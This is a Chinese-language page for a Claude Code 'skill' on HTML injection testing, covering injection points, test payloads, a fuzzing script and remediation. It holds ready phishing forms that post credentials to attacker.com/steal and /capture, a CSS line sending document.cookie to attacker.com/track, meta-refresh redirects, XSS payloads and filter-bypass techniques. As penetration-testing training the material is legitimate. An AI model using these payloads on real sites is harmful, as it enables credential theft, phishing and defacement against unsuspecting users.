关于 HTML Injection Testing
用于发现和评估 Web 应用 HTML 注入的安全测试技能,涵盖反射型与存储型输入、手动和自动化测试、影响报告及修复建议,并说明其与 XSS 的区别。
主要功能
- 01梳理潜在注入点
- 02测试反射型和存储型 HTML 注入
- 03使用 Burp Suite 和 OWASP ZAP 测试流程
- 04评估钓鱼与页面篡改影响
- 05检查输出编码修复方案
适用场景
- 01测试搜索和个人资料输入
- 02验证反射型或存储型注入发现
- 03评估钓鱼与页面篡改风险
- 04为开发人员准备修复建议
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ davila7/ claude-code-templates --skill html-injection-testing安装后在 Claude Code 中输入/html-injection-testing确认已加载。
详细介绍
HTML 注入测试
目的
识别并利用 HTML 注入漏洞。此类漏洞允许攻击者向 Web 应用中注入恶意 HTML 内容。攻击者可借此修改页面外观、创建钓鱼页面,并通过注入的表单窃取用户凭据。
前提条件
所需工具
- 带开发者工具的 Web 浏览器
- Burp Suite 或 OWASP ZAP
- Tamper Data 或类似代理工具
- 用于测试载荷的 cURL
所需知识
- HTML 基础知识
- HTTP 请求/响应结构
- Web 应用的输入处理方式
- HTML 注入与 XSS 的区别
输出和交付成果
- 漏洞报告 - 已识别的注入点
- 利用证明 - 展示内容操纵效果
- 影响评估 - 潜在的钓鱼和篡改页面风险
- 修复指南 - 输入验证建议
核心工作流
阶段 1:了解 HTML 注入
当用户输入未经适当清理便显示在网页中时,就会发生 HTML 注入:
<div>
Welcome, <?php echo $_GET['name']; ?>
</div>
?name=<h1>Injected Content</h1>
<div>
Welcome, <h1>Injected Content</h1>
</div>
与 XSS 的主要区别:
- HTML 注入:仅渲染 HTML 标签
- XSS:会执行 JavaScript 代码
- HTML 注入通常是进一步实施 XSS 的跳板
攻击目标:
- 修改网站外观(篡改页面)
- 创建虚假登录表单(钓鱼)
- 注入恶意链接
- 显示误导性内容
阶段 2:识别注入点
梳理应用中可能存在的注入入口:
1. Search bars and search results
2. Comment sections
3. User profile fields
4. Contact forms and feedback
5. Registration forms
6. URL parameters reflected on page
7. Error messages
8. Page titles and headers
9. Hidden form fields
10. Cookie values reflected on page
常见的易受攻击参数:
?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=
阶段 3:基本 HTML 注入测试
使用简单的 HTML 标签进行测试:
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)">
测试工作流:
# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"
# Check if HTML renders in response
curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
# Test in URL-encoded form
curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"
阶段 4:HTML 注入的类型
存储型 HTML 注入
载荷会持久保存在数据库中:
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
<h1>Site Under Maintenance</h1>
<p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
</div>
Great article!
<form action="http://attacker.com/steal" method="POST">
<input name="username" placeholder="Session expired. Enter username:">
<input name="password" type="password" placeholder="Password:">
<input type="submit" value="Login">
</form>
反射型 GET 注入
载荷位于 URL 参数中:
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>
反射型 POST 注入
载荷位于 POST 数据中:
# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
http://target.com/submit
# Form field injection
curl -X POST -d "name=<script>alert(1)</script>&[email protected]" \
http://target.com/register
基于 URL 的注入
注入到显示的 URL 中:
http://target.com/page/<h1>Injected</h1>
http://target.com/users/<img src=x>/profile
阶段 5:构造钓鱼攻击
创建具有迷惑性的钓鱼表单:
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:white;z-index:9999;padding:50px;">
<h2>Session Expired</h2>
<p>Your session has expired. Please log in again.</p>
<form action="http://attacker.com/capture" method="POST">
<label>Username:</label><br>
<input type="text" name="username" style="width:200px;"><br><br>
<label>Password:</label><br>
<input type="password" name="password" style="width:200px;"><br><br>
<input type="submit" value="Login">
</form>
</div>
<style>
input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
<input name="user" placeholder="Verify your username">
<input name="pass" type="password" placeholder="Verify your password">
<button>Verify</button>
</form>
经过 URL 编码的钓鱼链接:
http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E
阶段 6:篡改页面的载荷
操纵网站外观:
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
background:#000;color:#0f0;z-index:9999;
display:flex;justify-content:center;align-items:center;">
<h1>HACKED BY SECURITY TESTER</h1>
</div>
<style>body{display:none}</style>
<body style="display:block !important">
<h1>This site has been compromised</h1>
</body>
<img src="http://attacker.com/defaced.jpg"
style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
<marquee behavior="alternate" style="font-size:50px;color:red;">
SECURITY VULNERABILITY DETECTED
</marquee>
阶段 7:高级注入技术
CSS 注入
<style>
body { background: url('http://attacker.com/track?cookie='+document.cookie) }
.content { display: none }
.fake-content { display: block }
</style>
<div style="background:url('http://attacker.com/log')">Content</div>
Meta 标签注入
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
<meta http-equiv="Content-Security-Policy" content="default-src *">
覆盖表单 action
<form action="http://attacker.com/steal">
<input type="hidden" name="extra" value="data">
</form>
iframe 注入
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
<iframe src="http://attacker.com/track" style="display:none"></iframe>
阶段 8:绕过技术
规避基础过滤器:
<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>
<h1>Encoded</h1>
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
<h
1>Split Tag</h1>
<h1%00>Null Byte</h1>
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
\u003ch1\u003eUnicode\u003c/h1\u003e
<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>
阶段 9:自动化测试
使用 Burp Suite
1. Capture request with potential injection point
2. Send to Intruder
3. Mark parameter value as payload position
4. Load HTML injection wordlist
5. Start attack
6. Filter responses for rendered HTML
7. Manually verify successful injections
使用 OWASP ZAP
1. Spider the target application
2. Active Scan with HTML injection rules
3. Review Alerts for injection findings
4. Validate findings manually
自定义模糊测试脚本
#!/usr/bin/env python3
import requests
import urllib.parse
target = "http://target.com/search"
param = "q"
payloads = [
"<h1>Test</h1>",
"<b>Bold</b>",
"<script>alert(1)</script>",
"<img src=x onerror=alert(1)>",
"<a href='http://evil.com'>Click</a>",
"<div style='color:red'>Styled</div>",
"<marquee>Moving</marquee>",
"<iframe src='http://evil.com'></iframe>",
]
for payload in payloads:
encoded = urllib.parse.quote(payload)
url = f"{target}?{param}={encoded}"
try:
response = requests.get(url, timeout=5)
if payload.lower() in response.text.lower():
print(f"[+] Possible injection: {payload}")
elif "<h1>" in response.text or "<b>" in response.text:
print(f"[?] Partial reflection: {payload}")
except Exception as e:
print(f"[-] Error: {e}")
阶段 10:预防与修复
安全编码实践:
// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// PHP: Strip tags
echo strip_tags($user_input);
// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');
# Python: HTML escape
from html import escape
safe_output = escape(user_input)
# Python Flask: Auto-escaping
{{ user_input }} # Jinja2 escapes by default
{{ user_input | safe }} # Marks as safe (dangerous!)
// JavaScript: Text content (safe)
element.textContent = userInput;
// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput; // Vulnerable!
// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;
服务器端防护:
- 输入验证(将允许的字符列入白名单)
- 输出编码(根据上下文进行转义)
- 内容安全策略(CSP)标头
- Web 应用防火墙(WAF)规则
快速参考
常见测试载荷
| 载荷 | 用途 |
|---|---|
<h1>Test</h1> | 基本渲染测试 |
<b>Bold</b> | 简单格式设置 |
<a href="evil.com">Link</a> | 链接注入 |
<img src=x> | 图片标签测试 |
<div style="color:red"> | 样式注入 |
<form action="evil.com"> | 劫持表单 |
注入上下文
| 上下文 | 测试方法 |
|---|---|
| URL 参数 | ?param=<h1>test</h1> |
| 表单字段 | 通过 POST 提交 HTML 载荷 |
| Cookie 值 | 通过 document.cookie 注入 |
| HTTP 标头 | 在 Referer/User-Agent 中注入 |
| 文件上传 | 上传包含恶意内容的 HTML 文件 |
编码类型
| 类型 | 示例 |
|---|---|
| URL 编码 | %3Ch1%3E = <h1> |
| HTML 实体 | <h1> = <h1> |
| 双重编码 | %253C = < |
| Unicode | \u003c = < |
约束和限制
攻击限制
- 现代浏览器可能会清理部分注入内容
- CSP 可以阻止内联样式和脚本
- WAF 可能会拦截常见载荷
- 部分应用会正确转义输出
测试注意事项
- 区分 HTML 注入与 XSS
- 在浏览器中验证视觉影响
- 在多种浏览器中测试
- 检查存储型与反射型
严重性评估
- 严重性低于 XSS(不执行脚本)
- 与网络钓鱼结合时影响更大
- 考虑页面篡改/声誉损害
- 评估窃取凭据的可能性
故障排除
| 问题 | 解决方案 |
|---|---|
| HTML 未渲染 | 检查输出是否经过 HTML 编码;尝试不同编码方式;确认 HTML 上下文 |
| 载荷被剥离 | 使用不同编码方式;尝试拆分标签;测试空字节;使用嵌套标签 |
| XSS 无法生效(仅 HTML) | JavaScript 被过滤但 HTML 被允许;利用钓鱼表单、meta refresh 重定向 |
评论
支持 Markdown